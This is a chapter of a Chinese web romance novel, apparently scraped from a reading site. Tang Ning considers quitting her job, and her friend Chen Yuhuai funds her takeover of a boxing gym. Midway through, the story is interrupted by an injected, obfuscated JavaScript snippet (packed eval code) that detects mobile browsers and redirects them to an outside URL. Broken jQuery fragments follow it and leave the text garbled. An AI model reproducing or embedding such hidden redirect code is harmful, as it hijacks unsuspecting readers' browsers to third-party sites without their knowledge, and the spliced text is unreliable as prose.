21.给他20拳

作品:《给他一拳

    天色晚了,坐了很长时间地铁的唐柠也是真得累了,脚后跟都被高跟鞋磨出红印子。


    她问陈予淮能不能在他那里住一晚。


    陈予淮二话不说,安静地给她更换新床单。


    他忙活的时候,唐柠就抱着抱枕坐在客厅的沙发上自己发呆。


    等陈予淮收拾好了,她冷不丁问了一句:“如果我裸辞的话,会不会显得很冲动?”


    陈予淮思索了几秒,抓住了问题的核心,“你是不是跟你老板吵架了?”


    他们昨天才见过面,她说起老板的事业时还眼睛放光,今天却忽然想辞职,而且不是因为有了更好的工作机会,那就不是因为遇到了什么难事。


    是因为人。


    唐柠没正面回答,看着陈予淮手里拿的换下来的旧床单,她好像总是随心所欲地给陈予淮添麻烦。


    她问他:“我是不是真的很没分寸,没边界感啊?”


    陈予淮认真地看着她,没说话,心里倒是想着她最好在他这里永远摆不正自己的位置。


    唐柠抠着手指甲,又丧气地说:“我就是觉得挺没意思的,不知道自己工作是为了什么,不过我们公司待遇其实挺好的,要是换别家还得重新适应,也不一定就比现在好……”


    她自问自答,左右脑互搏,看起来纠结极了。


    陈予淮不替她做决定,“冲动了也没关系,你才二十三岁,有很多试错的机会。”


    唐柠撇嘴,“别说得这么老气横秋的,你也就比我大一个月好不好!”


    “那哥哥再给你一个忠告。”陈予淮原本站在门口的,把被单扔到脚边,侧过身将胳膊搭在门框上,姿势很性感地扭头对她抛媚眼,“做我们这行的,最忌讳的就是爱上老板。”


    唐柠被他逗地尖叫,把抱枕狠狠砸向他,“啊!我要报警了!你不要性骚扰那个门框啊!”


    陈予淮一弯腰接住了抱枕,眼里带着笑意。


    他自己也能感觉到,跟唐柠待在一起的时候,他好像是会比平时活泼一些。


    说闹了一会儿,唐柠躺上床的时候感觉郁气散了不少,头很昏沉,觉却睡不踏实。


    断断续续地做了一整晚的梦。


    梦里,她好像又回到了高中时代,她模拟考考得不好,坐在课桌椅前独自咀嚼着沮丧。


    桌子被人敲了敲,她抬头,陈予淮给她放了瓶巧克力奶在桌上,没说话就走了。


    唐柠插上吸管,一边喝一边哭。


    又梦到要高考了,可是她第一场就迟到了半个小时,唐柠明知道这是没发生过的事情,是梦,却还是急得要命。


    做不完试卷难受,更难受的是后面的每一场考试都变成了要挽救那个不完美的开局。


    唐柠哭醒了,她分不清自己是为了什么事在哭,只记得梦里有个温柔的怀抱。


    她赤着脚跑去隔壁房间,陈予淮没锁门。唐柠推开门又想,如果自己就这么披头散发出现在他面前,像午夜贞子似的,他是不是会吓疯了。


    她也没想到,这种悲伤的时刻,她居然还想着吓唬他,什么恶趣味啊。


    她更没想到,等她趴在陈予淮床边戳他脸把熟睡的他戳醒的时候,睡眼惺忪的陈予淮不仅没有吓得尖叫,反而摸了摸她脑袋温柔地说:“乖,别闹。”


    嗯?情绪这么稳定?


    唐柠怀疑他根本没醒,两手在身前弯着学大老虎:“哇吼~”


    就闹,不能让她一个人失眠,要把他薅起来陪着!


    陈予淮好像清醒了一些,他坐起身来。


    心里一闪而过的念头居然是,如果他现在装作在做梦亲了她会怎么样?


    唐柠无知无觉地还在那“哇吼哇吼”的学老虎,陈予淮用手背压了压眼睛,好无语啊。


    这个人能不能不要对他这么不设防?


    唐柠确信她已经把陈予淮吵醒了:“我睡不着,你能不能起来陪我打游戏?”


    “不能。”陈予淮双手抓起被子来把唐柠裹住按倒,自己侧躺在被子外面,手脚压住她,“快睡!”


    这样的姿势说亲密确实很亲密,可厚厚的被子阻隔,又没那么情欲暧昧。


    唐柠被他压制着居然真就睡着了。这次再没做梦,一觉熟睡到天亮。


    心塞是真的,赚钱的决心也是真的。


    第二天,唐柠还是早早起床,按时上班打卡,赚她的窝囊费去了。


    那些情绪发泄出去以后,她平静下来又反思自己是不是过分矫情了,陈予淮说得对,她就不该对老板动“真感情”,做一个听从指挥的棋子就好了。


    唐柠感觉有些尴尬,可她跟巴朵的办公室联通着,想不见面都不可能。


    巴朵进门以后,看到唐柠没换衣服,问了句,“昨天又去你哥那边了啊?”


    “嗯。”唐柠低着头,装作很忙的样子。


    巴朵也有点恼火,自己这老板当的,都能被助理甩脸色了。她没觉得自己之前做错了什么,可是看到唐柠这副模样心里又有些不舒服。


    “去买两杯烤奶。”她吩咐唐柠。


    唐柠应了声“好”,很快下楼买回来两杯烤奶,放在巴朵办公桌上。


    巴朵一扬下巴:“你拿一杯。”


    唐柠婉拒:“谢谢姐,我那还有杯咖啡,你喝吧。”


    巴朵盯着手机屏幕修图:“我喝不了,你拿走,不喝就扔了。”


    唐柠再不识抬举也不可能真把那杯奶给扔了,深吸了口气,道完谢抱着杯子回小房间继续干活去了。


    她清楚地感觉到办公室里的低气压,低得她都翻出来了披肩裹背,怕冻感冒了。


    这还是工作以后第一次遇到这种情况,唐柠不知道该怎么样处理才是成熟的、正确的。


    她看看桌子上的烤奶,有些难过。


    如果她的老板别对她好,只是把她当个牛马苦力,那她可能也不会生出什么爱恨情仇的。果然工作关系就该纯粹,哪怕是纯金钱利益,也好过假意掺杂真心。


    下班的时候陈予淮又来接她了,这几日两人联系有点多,她知道他是在担心她。


    陈予淮载她去吃一家据说很难约的私房菜。


    唐柠咂舌:“看不出来啊陈予淮,还挺有人脉?”


    陈予淮:“嗯,人脉姓黄名牛。我加价找人买的预约号。”


    唐柠刚想说他就是被坑的大冤种,他先发制人,“不是说我都没带你逛逛北城嘛,你马上就要离开了,我不得带你吃点好的。”


    这么说起来,也有道理。


    唐柠忽略价格,开怀畅吃。


    吃高兴了甚至有点不想离开北城了,跟陈予淮商量要不自己找个北城的新工作得了,这样就不用跟老板回沪市了。她可以找找陈予淮学校附近的公司,这样还可以住陈予淮家,房租他俩可以对半分。


    她说得有鼻子有眼的,好像立马就要执行似的,陈予淮却知道她只是过过嘴瘾。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17377922|199618||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    果然,说到租房子的事,唐柠又想到了自己现在住的高级公寓,是巴朵给她解决的。


    唐柠替老板说话:“她还是考虑到了我们随时可能离开,没让我在外面租房,不然现在违约退房还要赔钱。”


    面对坏人她有充足的勇气抵抗,可却害怕“坏人”对她的好。


    陈予淮慢慢剥着烤银杏吃,听她叽里咕噜说个不停,安静地充当情绪垃圾桶。


    唐柠说得口干舌燥,喝了口茶水,拿起手机来看未读信息。


    陈予淮见她不说了,起身去买单,回来的时候瞥到她在看个训练场地的照片,一见到他又立刻把手机收起来。


    陈予淮替她拿包,“走吧,送你回去。”


    回程路上,唐柠拿着手机打了好一会儿字,在跟人聊天。


    不等陈予淮问,唐柠主动跟他交代,“你记不记得我上学那会儿,跟着一个王老师学练拳。”


    陈予淮知道她说的是哪个老师,“嗯”了一声。


    唐柠:“刚才刷到她朋友圈在转卖拳馆,好像急着用钱,就问了问她的情况。她说是孩子病了,没心力经营了想着赶紧出手,先凑医药费。”


    陈予淮记得王老师也就比他们大了十岁,孩子应该也不大,“挺可怜的。”


    唐柠咬指甲,“她说我要不要借她点钱啊……”


    陈予淮果断答:“不借。”


    唐柠不用陈予淮给她讲道理,也知道关系再亲近的人,一旦牵扯到借钱的事都会很麻烦,说不定还会结仇。


    她抿着嘴沉默了一会儿,最后跟陈予淮商量,“那我给她转六百块吧,她那时候对我挺好,帮了我挺多的。”


    这意思就是送人情,没打算让还。


    陈予淮没赞同也没阻拦,一路无话把她送回了家。


    唐柠第二天休息可以睡懒觉。


    她清早爬起来上厕所的时候,看到了手机短信提示的转账记录,吓得差点从床上掉下去。


    她给陈予淮打电话,“大哥,你是不是转钱的时候把密码当金额了啊?”


    怎么一言不发就给她转了五十万啊?!


    陈予淮正在去学校的路上,“没转错,你把那个拳馆接下来吧。”


    她昨天对着拳馆照片看了那么久,显然有些想法。


    他知道她是个很轴的人,心里一旦燃起小火苗就不会轻易熄灭,想辞职的心是这样的,对拳馆的兴趣也是这样。


    唐柠嚎叫了一声,“谁告诉你我要盘那个拳馆了!”


    陈予淮:“没事,你再考虑考虑,不跟你说了,我先去答辩了。”


    唐柠敲敲脑袋,差点忘了,今天是他毕业答辩的日子,“哦哦,学霸肯定没问题哒!加油!”


    她不敢再耽误他时间,匆忙挂断,又发了会儿愣。


    唐柠觉得陈予淮有点讨厌,干嘛一副很会预判的样子,她什么时候说想开拳馆了,放着高薪工作不要,跑回去当小老板吗?


    别开玩笑了,这也太儿戏了吧?


    可是……她才有了想辞职的念头,就刷到了这样的一个机会,会不会是天意呢?


    唐柠胡思乱想了半天,当她打开地图研究从家里到拳馆的交通路线的时候,才惊觉自己居然对这件事有所期待。


    看了眼时间,唐柠烦燥地换一身出门的衣服,在楼下花店买了束向日葵,打车去陈予淮学校。


    这个陈予淮,真得很烦,怎么好像比她还了解她自己!